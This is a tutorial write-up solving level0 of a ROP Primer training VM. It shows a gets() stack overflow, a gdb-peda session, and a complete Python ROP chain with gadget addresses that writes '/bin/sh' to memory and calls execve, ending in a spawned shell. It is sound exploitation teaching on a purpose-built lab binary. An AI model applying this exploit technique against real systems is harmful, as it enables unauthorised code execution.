staring into /dev/null

barrebas

ROP Primer - Level0

The ROP VM which I made for this exercise can be downloaded from vulnhub.com. Version 0.2 is fixed, as the home dirs had improper permissions (thanks to faleur and marky for notifying me). We’re up against the binary level0. In this case, we have the source code, which helps tremendously. Nevertheless, start by treating it as a blackbox.

First, enable coredumps.

1
seb@minol:~/tmp$ ulimit -c unlimited

Then, make sure you’re not running the exploits against a SUID binary. Linux, by default, will not generate coredumps for SUID binaries. Fair enough. Thanks to @Swappage for alerting me during the workshop!

1
2
seb@minol:~/tmp$ # remember, coredumps don't work on suid binaries
seb@minol:~/tmp$ # so cp ./level0 (suid level1) to ./level0b

Finally, disassemble the binary with objdump:

1
2
seb@minol:~/tmp$ objdump -d -M intel ./level0 > level0.out
seb@minol:~/tmp$ # -M intel will use the Intel syntax instead of AT&T's syntax.

In some cases, the binary is the only thing given, with no source code available. The disassembly will help to get an understanding of what the binary is doing.

Another useful command is file:

1
2
seb@minol:~/tmp$ file ./level0
./level0: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=0x52c391fb68f9d0b47e49220dfe408334f8fdd088, not stripped

This tells us that the binary is 32 bit and statically linked, which explains its large size.

Let’s have a look at the disassembly of main():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
08048254 <main>:
 8048254:       55                      push   ebp
 8048255:       89 e5                   mov    ebp,esp
 8048257:       83 e4 f0                and    esp,0xfffffff0
 804825a:       83 ec 30                sub    esp,0x30
 804825d:       c7 04 24 68 b6 0a 08    mov    DWORD PTR [esp],0x80ab668
 8048264:       e8 d7 0c 00 00          call   8048f40 <_IO_puts>
 8048269:       c7 04 24 80 b6 0a 08    mov    DWORD PTR [esp],0x80ab680
 8048270:       e8 0b 0b 00 00          call   8048d80 <_IO_printf>
 8048275:       8d 44 24 10             lea    eax,[esp+0x10]
 8048279:       89 04 24                mov    DWORD PTR [esp],eax
 804827c:       e8 2f 0b 00 00          call   8048db0 <_IO_gets>
 8048281:       8d 44 24 10             lea    eax,[esp+0x10]
 8048285:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048289:       c7 04 24 98 b6 0a 08    mov    DWORD PTR [esp],0x80ab698
 8048290:       e8 eb 0a 00 00          call   8048d80 <_IO_printf>
 8048295:       b8 00 00 00 00          mov    eax,0x0
 804829a:       c9                      leave
 804829b:       c3                      ret

We have a classic buffer overflow situation here:

1
2
3
 8048275:       8d 44 24 10             lea    eax,[esp+0x10]
 8048279:       89 04 24                mov    DWORD PTR [esp],eax
 804827c:       e8 2f 0b 00 00          call   8048db0 <_IO_gets>

The lea command will load a stack address into eax. That address is put on the stack as an argument for _IO_gets, which will happily read more than enough bytes from STDIN to overflow the buffer and overwrite the saved return address on the stack.

Let’s switch to gdb-peda and see the binary in action.

1
2
3
4
5
6
7
8
9
seb@minol:~/tmp$ # gdb -q is quiet startup, so it won't print out lots of info. Not strictly necessary. 
seb@minol:~/tmp$ gdb ./level0 -q
Reading symbols from /home/seb/tmp/level0...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

checksec is a very useful command available in gdb-peda (not in vanilla gdb). In this case, one can see that only NX is enabled, meaning that the stack, heap and other data sections are not executable, whereas code sections are executable but not writeable. Let’s check this within gdb. First, enter start to run the binary and break at the main() function automatically. Then, inspect the memory layout with vmmap, which will show memory regions that are active in memory along with their memory protection flags.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
gdb-peda$ start
[----------------------------------registers-----------------------------------]
EAX: 0xbffff6bc --> 0xbffff7ff ("ORBIT_SOCKETDIR=/tmp/orbit-seb")
EBX: 0x0
ECX: 0x1
EDX: 0xbffff6b4 --> 0xbffff7ea ("/home/seb/tmp/level0")
ESI: 0x80488e0 (<__libc_csu_fini>:   push   ebp)
EDI: 0x193a5dce
EBP: 0xbffff618 --> 0xbffff688 --> 0x0
ESP: 0xbffff618 --> 0xbffff688 --> 0x0
EIP: 0x8048257 (<main+3>:    and    esp,0xfffffff0)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804824f <frame_dummy+63>:  jmp    0x80481a0 <register_tm_clones>
   0x8048254 <main>:    push   ebp
   0x8048255 <main+1>:  mov    ebp,esp
=> 0x8048257 <main+3>:    and    esp,0xfffffff0
   0x804825a <main+6>:  sub    esp,0x30
   0x804825d <main+9>:  mov    DWORD PTR [esp],0x80ab668
   0x8048264 <main+16>: call   0x8048f40 <puts>
   0x8048269 <main+21>: mov    DWORD PTR [esp],0x80ab680
[------------------------------------stack-------------------------------------]
0000| 0xbffff618 --> 0xbffff688 --> 0x0
0004| 0xbffff61c --> 0x8048445 (<__libc_start_main+421>:   mov    DWORD PTR [esp],eax)
0008| 0xbffff620 --> 0x1
0012| 0xbffff624 --> 0xbffff6b4 --> 0xbffff7ea ("/home/seb/tmp/level0")
0016| 0xbffff628 --> 0xbffff6bc --> 0xbffff7ff ("ORBIT_SOCKETDIR=/tmp/orbit-seb")
0020| 0xbffff62c --> 0x0
0024| 0xbffff630 --> 0x0
0028| 0xbffff634 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x08048257 in main ()
gdb-peda$ vmmap
Start      End        Perm    Name
0x08048000 0x080ca000 r-xp    /home/seb/tmp/level0
0x080ca000 0x080cb000 rw-p    /home/seb/tmp/level0
0x080cb000 0x080ef000 rw-p    [heap]
0xb7fff000 0xb8000000 r-xp    [vdso]
0xbffdf000 0xc0000000 rw-p    [stack]

The output of vmmap clearly shows NX in effect: the stack is marked writeable but not executable; the binary, loaded at 0x8048000, is marked executable but not writeable.

So far, so good. Let’s continue to run the binary with c and try to overwrite the saved return address on the stack, taking advantage of the _IO_gets call. Note: you can use a patterned buffer for this as well, check out pattern_create and pattern_offset in gdb-peda.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
gdb-peda$ c
[+] ROP tutorial level0
[+] What's your name? AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL
[+] Bet you can't ROP me, AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xbffff5cc --> 0x80ca720 --> 0xfbad2a84
EDX: 0x80cb690 --> 0x0
ESI: 0x80488e0 (<__libc_csu_fini>:   push   ebp)
EDI: 0x687af80d
EBP: 0x4b4b4b4b ('KKKK')
ESP: 0xbffff620 --> 0x0
EIP: 0x4c4c4c4c ('LLLL')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x4c4c4c4c
[------------------------------------stack-------------------------------------]
0000| 0xbffff620 --> 0x0
0004| 0xbffff624 --> 0xbffff6b4 --> 0xbffff7ea ("/home/seb/tmp/level0")
0008| 0xbffff628 --> 0xbffff6bc --> 0xbffff7ff ("ORBIT_SOCKETDIR=/tmp/orbit-seb")
0012| 0xbffff62c --> 0x0
0016| 0xbffff630 --> 0x0
0020| 0xbffff634 --> 0x0
0024| 0xbffff638 --> 0x0
0028| 0xbffff63c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x4c4c4c4c in ?? ()

Lucky shot. eip loaded with LLLL because we’ve overwritten the return address for main() on the stack. As soon as the ret at the end of main() was executed, it popped the value off of the top of the stack into eip and increased esp with four. Because we’ve overwritten that value, we now control eip. To have a look at the stack, issue the following command:

1
2
3
4
5
6
gdb-peda$ x/20wx $esp-48
0xbffff5f0:   0x41414141  0x42424242  0x43434343  0x44444444
0xbffff600:   0x45454545  0x46464646  0x47474747  0x48484848
0xbffff610:   0x49494949  0x4a4a4a4a  0x4b4b4b4b  0x4c4c4c4c
0xbffff620:   0x00000000  0xbffff6b4  0xbffff6bc  0x00000000
0xbffff630:   0x00000000  0x00000000  0x00000000  0x00000000

x stands for inspect, with the format specifier and amount after the slash (in this case, 20 DWORDS). Finally, give it the address from which you want to inspect. In this case, I chose $esp-48, which is the start of the buffer on the stack. Confirm that this is our input.

So let’s use this first bit of information and write a script to reliably overwrite the saved return address on the stack. This will serve as the skeleton for our exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import struct

# this is a helper function, which will take a 32-bit value and convert it to little-endian.
def p(x):
  return struct.pack('<L', x)
  
# start our payload as a string of character.
payload = ""

# add padding to overwrite upto the saved return address.
payload += "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK"

# this part should overwrite the saved return address on the stack.
payload += p(0xdeadbeef)

# make sure to output the rop chain.
print payload

To verify that this will return to 0xdeadbeef by overwriting the saved return address, we have two options:

  1. run it outside of gdb and inspect the coredump that is generated
  2. run it, store the rop chain in a file and run the binary in gdb with the file as input

Method 1

Running the exploit in this way is the most accurate way, at least as far as memory layout and stack addresses are concerned. There might be a discrepancy between memory addresses when running within gdb vs outside of gdb. There is a way to fix this, using fixenv: I did not know of this solution until BSides!

1
2
3
4
5
6
7
8
9
10
11
seb@minol:~/tmp$ python poc.py | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKᆳ�!
Segmentation fault (core dumped)
seb@minol:~/tmp$ gdb -q ./level0 core
Reading symbols from /home/seb/tmp/level0...(no debugging symbols found)...done.
[New LWP 2922]
Core was generated by `./level0'.
Program terminated with signal 11, Segmentation fault.
#0  0xdeadbeef in ?? ()
gdb-peda$

Method 2

This method is especially useful if you need to inspect the memory with vmmap: gdb cannot display memory layout of a coredump!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
seb@minol:~/tmp$ python poc.py > input_for_bin
seb@minol:~/tmp$ gdb -q ./level0
Reading symbols from /home/seb/tmp/level0...(no debugging symbols found)...done.
gdb-peda$ r < input_for_bin
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKᆳ�!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xbffff5cc --> 0x80ca720 --> 0xfbad2a84
EDX: 0x80cb690 --> 0x0
ESI: 0x80488e0 (<__libc_csu_fini>:   push   ebp)
EDI: 0x88c01b86
EBP: 0x4b4b4b4b ('KKKK')
ESP: 0xbffff620 --> 0x0
EIP: 0xdeadbeef
EFLAGS: 0x210246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0xbffff620 --> 0x0
0004| 0xbffff624 --> 0xbffff6b4 --> 0xbffff7e9 ("/home/seb/tmp/level0")
0008| 0xbffff628 --> 0xbffff6bc --> 0xbffff7fe ("ORBIT_SOCKETDIR=/tmp/orbit-seb")
0012| 0xbffff62c --> 0x0
0016| 0xbffff630 --> 0x0
0020| 0xbffff634 --> 0x0
0024| 0xbffff638 --> 0x0
0028| 0xbffff63c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xdeadbeef in ?? ()

Regardless of which method is used, eip now points at 0xdeadbeef, which confirms that our proof-of-concept exploit works as intended. We can now start extending the ROP chain to start doing useful things.

In the workshop, I showed the mprotect/read/ret to shellcode strategy. In this writeup, I will use a different way to spawn a shell. We will need access to execve or system() for this.

A lot of students of the ROP workshop tried to find system(), fruitlessly:

1
2
gdb-peda$ p system
No symbol table is loaded.  Use the "file" command.

system() is not linked in this binary! There is, however, one int 0x80; ret gadget available, which we can use to build a ROP chain. During the workshop in London I showed the mprotect and read strategy. Now, I’d like to show how to do an execve syscall using the ROP chain. For added fun, I’ll assume that NULL bytes are badchars.

First, however, upload the binary to ropshell.com or use Your-Favorite-ROP-Gadget-Dumper.

One thing that is absolutely mandatory is access to a gadget that does a syscall. ropshell.com suggests > 0x08052cf0 : int 0x80; ret. Sometimes, there might be another gadget where extra instructions are present between the int and the ret. This is usually fine and you can find them in ropshell.com by searching like this: int 0x80 ?. The extra ? indicates that extra opcodes may be present.

Now that we have that all important gadget, we can start building the rest of the ROP chain. We’ll need to set a couple of registers and build the argument for execve in memory.

For x86 syscalls, the arguments are passed in registers. This website contains a list of the syscalls and a short description of the arguments. For execve, we see this:

1
2
3
4
eax = syscall number = 0x0b
ebx = pointer to filename to execute
ecx = pointer to argv
edx = pointer to envp

However, I was unable to get the exploit to work when ecx was pointing to a string. Instead, I opted to set ecx and edx to NULL. Let’s start building this ROP chain, starting from the PoC. We will need to write out the string /bin/sh somewhere in memory. For this, we need two things:

  1. A location to write the string
  2. A gadget that allows us to write out the string

For #1, we can look at the output of vmmap in gdb-peda:

1
2
3
4
5
6
7
gdb-peda$ vmmap
Start      End        Perm    Name
0x08048000 0x080ca000 r-xp    /home/seb/tmp/level0
0x080ca000 0x080cb000 rw-p    /home/seb/tmp/level0
0x080cb000 0x080ef000 rw-p    [heap]
0xb7fff000 0xb8000000 r-xp    [vdso]
0xbffdf000 0xc0000000 rw-p    [stack]

ASLR is disabled, but taking the heap or stack is not my favorite option. Instead, let’s use 0x080ca000 to 0x080cb000. This area is readable and writeable. Not executable but that doesn’t matter, as we will not store shellcode there anyway.

For #2, ropshell.com has no good suggestions, as they are add [r32], r32 instructions. If the memory contains values already, we’ll not be able to write out the string reliably, unless the block of memory contains NULL bytes.

To avoid complications, I searched for mov [? in ropshell.com:

1
2
3
4
5
6
7
8
9
10
11
ropshell> search mov [?
found many, display max 256 gadgets
> 0x0806bc2b : mov [ecx], 0x83; ret
> 0x08071e79 : mov [ecx], 1; ret
> 0x08079191 : mov [edx], eax; ret
> 0x080a82e8 : mov [eax + 0x4c], edx; ret
> 0x080a6544 : mov [ecx + 0x1fc0], 4; ret
> 0x08076839 : mov [ecx + 0x83049a74], cl; ret
> 0x08052fac : mov [ecx], 1; pop ebp; ret 4
> 0x080499d2 : mov [ecx], eax; pop ebp; ret
> 0x080526f6 : mov [ecx], edx; pop ebp; ret

I like 0x08079191 : mov [edx], eax; ret a lot. It’s only uses two registers and contains no unnecessary instructions. Let’s see how we can set edx and eax to what we need.

1
2
3
4
5
6
7
8
9
10
ropshell> search pop r32
found 15 gadgets
> 0x0806b893 : pop eax; ret
> 0x080525ee : pop ebx; ret
> 0x080525c6 : pop edx; ret
> 0x0806a5c9 : pop esi; ret
> 0x080516ad : pop edi; ret
> 0x08048550 : pop ebp; ret
> 0x08064630 : pop esp; ret
> 0x080525ed : pop ecx; pop ebx; ret

Plenty of gadgets we can use. The plan is now to pop the address 0x080ca040 into edx and the value /bin into eax. The address is arbitrary, but chosen such that we don’t overwrite anything important or that the address contains NULL bytes. Let’s build the first PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import struct

# this is a helper function, which will take a 32-bit value and convert it to little-endian.
def p(x):
  return struct.pack('<L', x)
  
# start our payload as a string of character.
payload = ""

# add padding to overwrite upto the saved return address.
payload += "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK"

payload += p(0x080525c6)   # pop edx; ret
payload += p(0x080ca040)   # start writing here
payload += p(0x0806b893)   # pop eax; ret
payload += '/bin'            # first part of /bin/sh
payload += p(0x08079191)   # mov [edx], eax; ret

payload += p(0x080525c6)   # pop edx; ret
payload += p(0x080ca044)   # just after the first piece of '/bin'
payload += p(0x0806b893)   # pop eax; ret
payload += '/shX'            # we'll zero out the X in a moment
payload += p(0x08079191)   # mov [edx], eax; ret

payload += p(0x08097bff)   # xor eax, eax; ret (set eax to 0)
payload += p(0x080525c6)   # pop edx; ret
payload += p(0x080ca047)   # zero out the X, making the string NULL terminated
payload += p(0x08079191)   # mov [edx], eax; ret

payload += "AAAA"          # crash
print payload

Run it and expect the memory area:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
seb@minol:~/tmp$ python purepoc0.py > input0
seb@minol:~/tmp$ gdb -q level0
Reading symbols from /home/seb/tmp/level0...(no debugging symbols found)...done.
gdb-peda$ r < input0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK�@�
              ��/bin��D
                       ��/shX��{       G
                                         AAAA!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xbffff5cc --> 0x80ca720 --> 0xfbad2a84
EDX: 0x80ca047 --> 0x0
ESI: 0x80488e0 (<__libc_csu_fini>: push   ebp)
EDI: 0x6f23fbda
EBP: 0x4b4b4b4b ('KKKK')
ESP: 0xbffff658 --> 0x0
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x210246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff658 --> 0x0
0004| 0xbffff65c --> 0x0
0008| 0xbffff660 --> 0x0
0012| 0xbffff664 --> 0x0
0016| 0xbffff668 --> 0x0
0020| 0xbffff66c --> 0x6f23fbda
0024| 0xbffff670 --> 0x0
0028| 0xbffff674 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$ x/s 0x80ca040
0x80ca040:  "/bin/sh"

Excellent, that worked. Now we have to set the registers accordingly. ebx must be set to 0x80ca040, eax must be set to 0x0b and we’ll zero out ecx and edx.

There are no gadgets that do xor ecx, ecx; ret. Instead, I opted to load 0xffffffff into ecx and edx and then increase the registers by one; this will overflow and make both of them zero.

1
2
3
4
5
6
7
8
9
10
11
12
# building from the previous code

payload += p(0x080525ed)   # pop ecx; pop ebx; ret
payload += p(0xffffffff)   # ecx -> will be zeroed later
payload += p(0x080ca040)   # ebx, filename to execute "/bin/sh"
payload += p(0x08083f36)   # inc ecx; adc al, 0x39; ret
                          # this will clobber eax, but we'll set it later anyway. ecx will be zero
  
# do the same for edx                     
payload += p(0x080525c6)   # pop edx; ret
payload += p(0xffffffff)   # 
payload += p(0x0804ef21)   # inc edx; add al, 0x83; ret

Our next problem arises: I don’t want to use NULL bytes. However, we’ll need to set eax to 0x0000000b. I use the following sequence for this, making use of the movzx instruction. movzx is move into register, zero extend.

1
2
3
4
5
6
7
8
# continue

payload += p(0x0806b893)   # pop eax; ret
payload += p(0x4141410b)   # value for eax, without NULL bytes
payload += p(0x08071b90)   # movzx eax, al; ret
                          # after this instruction, eax will be 0x0b
                          
payload += p(0x08052cf0)   # int 0x80; ret

That’s it. Let’s try:

1
2
3
4
5
6
7
8
9
10
11
seb@minol:~/tmp$ python purepoc0.py > input0
seb@minol:~/tmp$ gdb -q level0
Reading symbols from /home/seb/tmp/level0...(no debugging symbols found)...done.
gdb-peda$ r < input0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK...

process 3481 is executing new program: /bin/dash
[Inferior 1 (process 3481) exited normally]
Warning: not running or target is remote
gdb-peda$

Nice! It looks like the shell was spawned! A final test consists of running it on the command line. The extra cat is added to keep the spawned shell alive, by connecting stdin and stdout of the newly created shell.

1
2
3
4
5
6
7
seb@minol:~/tmp$ (python purepoc0.py; cat) | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK...<snipped>
id
uid=1000(seb) gid=1000(seb) groups=1000(seb),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),103(fuse),104(scanner),107(bluetooth),108(netdev),119(kismet),900(cbnetwork)
whoami
seb

That was about it. The ROP chain is able to set all the required registers, write out a string in memory and finally perform a syscall.

Comments